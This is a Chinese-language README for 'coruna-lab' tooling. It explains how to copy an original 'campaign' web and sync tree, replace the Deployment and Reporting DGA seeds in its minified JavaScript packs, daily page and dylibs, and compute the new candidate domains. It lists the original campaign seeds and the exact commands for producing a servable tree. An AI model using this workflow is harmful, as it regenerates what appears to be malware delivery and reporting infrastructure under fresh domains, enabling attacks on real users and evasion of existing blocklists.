Files
coruna-lab/tools/README.md
T
hashbro ea0be57180 init
2026-08-04 05:00:42 +08:00

106 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# coruna-lab 工具:DGA seed 替换
## 新建 / 刷新工作树(推荐)
`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁:
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
python3 tools/new_project.py
```
等价于:
1. `source/web` → `coruna-lab/web`(覆盖)
2. `source/sync` → `coruna-lab/sync`(覆盖)
3. `python3 tools/patch_all.py --apply --root .`
产物:
- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed)
- `out/seeds.json` — 本次 seed
- `out/domains.json` — Deployment / Reporting 候选域名
常用选项:
```bash
python3 tools/new_project.py --skip-patch # 只复制,不打补丁
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
---
## 仅重建(已有根目录 web/sync)
```bash
python3 tools/patch_all.py --root .
# 写入根目录 web/ + sync/:
python3 tools/patch_all.py --apply --root .
```
`--apply` **必须**带 `--root`,且不会写入 `source/`。
也可手动指定 seed:`--deployment-seed … --reporting-seed …`。
---
## 当前(原 campaign)seed
需要提供 **2 个** seed(Deployment + Reporting),不是一个。
| 角色 | 原 seed(正好 32 字符 hex) |
|------|-----------------------------|
| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` |
| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` |
### 格式要求
- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串)
- **推荐正好 32 个十六进制字符**(与原样一致)
- 短于 32 可以,脚本会在槽位内用 `NUL` 填充
- Deployment / Reporting **各提供一个**,彼此独立
依赖:
```bash
pip3 install py7zr pycryptodome
```
源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `<root>/out/`)。
`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。
---
## 1. 二级包:改 seed → 重打 10 个 `.min.js`
```bash
python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
## 2. Core / daily
```bash
python3 tools/patch_core.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
## 3. 只算域名
```bash
python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
-n 5
```